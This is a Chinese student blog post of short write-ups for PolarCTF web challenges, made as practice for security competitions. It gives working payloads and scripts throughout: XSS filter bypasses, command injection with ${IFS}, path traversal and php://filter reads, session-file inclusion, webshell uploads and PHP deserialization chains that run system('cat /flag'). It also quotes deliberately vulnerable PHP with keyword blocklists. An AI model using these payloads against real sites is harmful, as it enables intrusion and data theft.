欢迎来到kriton的知识小屋(🍺)
在校大学生一枚,以比赛促学,时不时冒头更新一下,
目前正专精于蓝队取证,欢迎大佬带带我
注:所有题目wp均为复现题目过程,中途参考多位大佬步骤,因此大部分会标明借鉴链接
|

kriton

园龄:2个月粉丝:2关注:1

polar CTF web简单

 

swp

提示.swp文件

访问一下

/.index.php.swp

观察代码发现,最大回溯上限绕过preg_match

构造脚本

import requests
 
url = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {
    'xdmtql': 'sys nb'+'very' * 250000
}
 
r = requests.post(url=url, data=data).text
print(r)

运行脚本,获得flag

 

简单rce

过滤了空格,可以联想到用include直接包含/flag

/?sys=include"/flag";

需要输入一个POST参数yyds=666

 

蜜雪冰城吉警店

要求点到第九个单子给flag

尝试输入?id=9不管用

在源码里直接把一个的id改成9最后成功

 

 

召唤神龙

在游戏结束这里查看调试器

在main.js里面发现了JSfuck解密

直接在控制台执行

 

 

seek flag

查看源码注释说爬虫,直接查一下

应该是flag 但是好像只有一半,抓包看看

抓包后发现Cookie有个id改一下试试

 

改成1后直接获得另外两个flag

按顺序拼接

flag{7ac5b3ca8737a70f029dc0ad71dadd11}

 

login

 

查看源码发现了注释,输入一下回显登陆成功

尝试改个数

 

将学号位置最后一个数改成2回显了f继续更改,挨个查看

逐个尝试02到11挨个回显一个字母,拼接起来就是flag

flag{dlcg}

 

iphone

 

点了一下Enter没发现什么有用的

查看源码发现是UA

抓包更改即可

改成iphone 获得flag

 

浮生日记

这题说让弄个弹窗

直接<script>alert(1)</script>

被绕过了

双写试试

<scrscriptipt>alert(1)</scrscriptipt>

绕过成功但是还不行,试试">闭合

"><scrscriptipt>alert(1)</scrscriptipt>

成功弹窗

 

$$

$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括includerequire的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。 

 

 

爆破

get方式传入 一个pass变量,且满足其md5值 满足

爆破pass值试试

 

 

 

XFF

都说了要用1.1.1.1的ip才行,那就直接伪造

 

rce1

在源码里看到了ip和ping用拼接符试试

127.0.0.1|ls

因为过滤了空格,用${IFS}代替

127.0.0.1|cat${IFS}$fllllaaag.php

因为flag被注释了,要上源代码里找一下

 

GET-POST

先传一个id=1

继续传

 

 

被黑掉的站

找不到啥有用的,用御剑扫一下

发现了shell文件和index的备份文件

shell文件需要密码

在index.php.bak里面发现大量内容,怀疑shell的密码就再里面,爆破一下

 

爆出nikel是密码,不在bp里查看的话直接在shell里输入也可以得到flag

 

签到题

在页面和源码里没有发现有用的,看到了cookie哪里是个no,抓包改一下看看

发现了一串base加密

解密后是一个php网页,访问得

include会直接执行文件,用php伪协议进行绕过

?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag

解密得flag

 

签到

提交这里无法点击

在查看器里删掉disabled 再随便输一个数就可以获得提示

接下来需要把maxlength的数值调大一点,不然ilovejijcxy输不全

 

session文件包含

随便输一个数

再往下也没什么东西了,查看源码发现了php文件用伪协议查看一下

?file=php://filter/read=convert.base64-encode/resource=1.txt

解码得到php代码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
	$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件

查看cookie

然后上传一句话木马

 

蚁剑连接获得flag

 

Don't touch me

在源码里面发现了2.php,直接访问

Click Me 不让点,上编辑器里删掉disabled就可以了

点击后给出fla.php

得到flag

 

robots

名字都叫robots了直接查看一下

发现fl0g.php

访问获得flag

 

php very nice

比较简单的反序列化

直接构造

回显了flag.php

避免直接执行,用include和php伪协议就行了

 

解码

 

 

ezupload

这是个文件上传,随便上传一个,提示要用GIF才行,将一句话木马所在的文档后缀换成GIF上传后用蚁剑连接即可

 

 

 

 

 

 

cookie欺骗

提示只有admin用户才行,再看一下cookie是user

抓包改成admin即可

 

upload

还是个文件上传,上传文件后路径不是php,所以说php应该是被过滤了

双写试试

后缀是php,写入成功

蚁剑连接

 

干正则

先看代码,发现可以构造

?id=a[0]=www.polarctf.com

 

好似无法直接查看,用cat直接查看试试

?id=a[0]=www.polarctf.com&cmd=|cat `ls`

在源码中找到flag

 

cool

系统命令执行函数没ban干净

payload

?a=passthru('cat f*');

 

uploader

这是个无过滤文件上传,还回显路径

用脚本进行文件上传

import requests
 
url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/'  # 替换成你的服务器地址
 
files = {'file': open('D:\Python\yijihua.php', 'rb')}  # 将文件名替换为你想上传的文件
 
response = requests.post(url, files=files)
 
if response.status_code == 200:
    print("文件上传成功!")
    print("服务器返回的消息:", response.text)
else:
    print("文件上传失败!")
    print("错误码:", response.status_code)

 

上传成功

拿到$sandbox和filename,拼接得到文件路径

  http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/f5447ed4e91b2ecf95fbc072c2843147/yijihua.php

蚁剑连接,获取flag

 

覆盖

这题和“干正则”一样,不在进行解释,具体过程观看干正则

 

 

 

PHP反序列化初试

Easy.__wakeup -> Evil.__toString 

注意这里的shell_exec也是echo给了回显

开始构造

<?php
class Easy{
    public $name;
   
}
class Evil{
    public $evil;
    public $env;
    
}

$a = new Easy();
$b = new Evil();
$a->name=$b;
$b->evil="tac f*";
var_dump(serialize($a));

?>

注意:$env哪里要换成public不然是不行的

 

机器人

既然说了别爬,那就爬一下吧

果然,都是骗人的,说着不让爬,却非常想要被爬

发现了一半的flag

Disallow是一个目录,怀疑剩下的flag在里面,直接访问

/27f5e15b6af3223f1176293cd015771d/flag.php

获得后半段flag

拼接获得

flag{4749ea1ea481a5d56685442c8516b61c}

 

 

扫扫看

让扫一扫,那就用dirsearch扫扫看

发现了flag.php

查看源码,发现在源码里面

 

 

debudao

 

以为是注入或命令执行,结果都不是,看源码看到一个flag,结果还是个错的

查看网络,看看cookie

发现flag

 

审计

 

审计代码,用md5值还是0e开头,那就直接用0e215962017 它md5后的值是本身

 

upload1

上传界面,正常长传一句话木马试试

 

 

上传成功,蚁剑连接试试

 

获得falg

 

rapyiquan

 

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

分析代码

传参是c_md,_被过滤,可以用[代替

先用ls查看一下根目录

可以用右斜杠绕过过滤

?c[md=l\s /

 

用cat查看

?c[md=c\at /fl\ag.php

 

查看源代码,获得flag

 

bllbl_ser1

一道反序列化

这里我们可以用到的是eval函数

我们需要触发close,需要先触发bllliang,要触发bllliang需要先触发销毁函数__destruct()

构造payload

<?php

class bllbl
    {
    public $qiang;
    function  __destruct(){
    $this->bllliang();
    }
    function bllliang(){
    $this->qiang->close();
    }
    }
    class bllnbnl{
    public $er = 'system("ls /");';
    function close(){
    eval($this->er);
    }
    }
   $a = new bllbl();
   $b = new bllnbnl();
   $a->qiang = $b;
   var_dump(serialize($a));
?>

 O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:15:"system("ls /");";}}

查看源码,显示了都有那些文件

再次构造

<?php

class bllbl
    {
    public $qiang;
    function  __destruct(){
    $this->bllliang();
    }
    function bllliang(){
    $this->qiang->close();
    }
    }
    class bllnbnl{
    public $er = 'system("cat /flag");';
    function close(){
    eval($this->er);
    }
    }
   $a = new bllbl();
   $b = new bllnbnl();
   $a->qiang = $b;
   var_dump(serialize($a));
?>

O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system("cat /flag");";}}

查看源码,发现flag

 

1ncIud3

用page输出了flag提示要换一些字母

?page=flag

根据题目提示常见的替换有

f1a9  f1ag  f149

又因为是在某个目录下,所以用..././为一组,不出意外基本题型最多也就四组,四组还不行的话就换命令了

?page=..././..././f1a9

可获得flag

 

 

投喂

 

这题是个反序列化

POST传一个data的参数,建一个User的类,并且用username和is_admin两个属性对User进行一个序列化,是最后的is_admin=true

根据要求构造序列化代码

<?php
class User
{
    public $username;
    public $is_admin;
}
 
$a= new User();
$a->is_admin=true;
var_dump(serialize($a));
?>

O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

 

狗黑子的RCE

<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

观察代码,没有过滤 ‘\’ ‘/’

gouheizi1采用转义绕过。gouheizi2会被正则匹配将gouheizi字符替换为空,使用双写绕过

 

 

button

 

查看源码,发现一个js文件,访问看看

发现一个有flag的路径

访问并查看源码获得flag

 

 

井字棋

这题应该分赢了和输了

查看源码

是declareWinner进行输出,直接在控制台输出declareWinner("您赢了!" );应该就可以了

 

简单的导航站

管理员登录哪里提示账号不一定是admin,估计要找,先注册并登录

查看用户列表

开始审计

是md5强比较,直接构造

给以一堆的用户名,需要爆破

在最初的网址导航界面,查看源码可以找到密码Admin1234!

开始爆破

 

 

 

找到账户P0la2adm1n

进入后继续上传一句话木马

这题没有过滤,直接上传即可,然后文件一般情况放在uploads的下面,访问就可以

上传成功

看见了许多flag

要通过爆破flag认证系统才能获得正确的flag

 

 

获得正确flag

 

posted @   kriton  阅读(91)  评论(0编辑  收藏  举报
评论
收藏
关注
推荐
深色
回顶
收起
点击右上角即可分享
微信分享提示